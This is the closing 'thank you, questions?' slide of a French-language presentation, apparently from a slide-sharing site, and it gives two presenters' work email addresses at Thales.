  70. 70. MERCI DE VOTRE ATTENTION! QUESTIONS ?david.berard@thalesgroup.com vincent.fargues@thalesgroup.com 57

×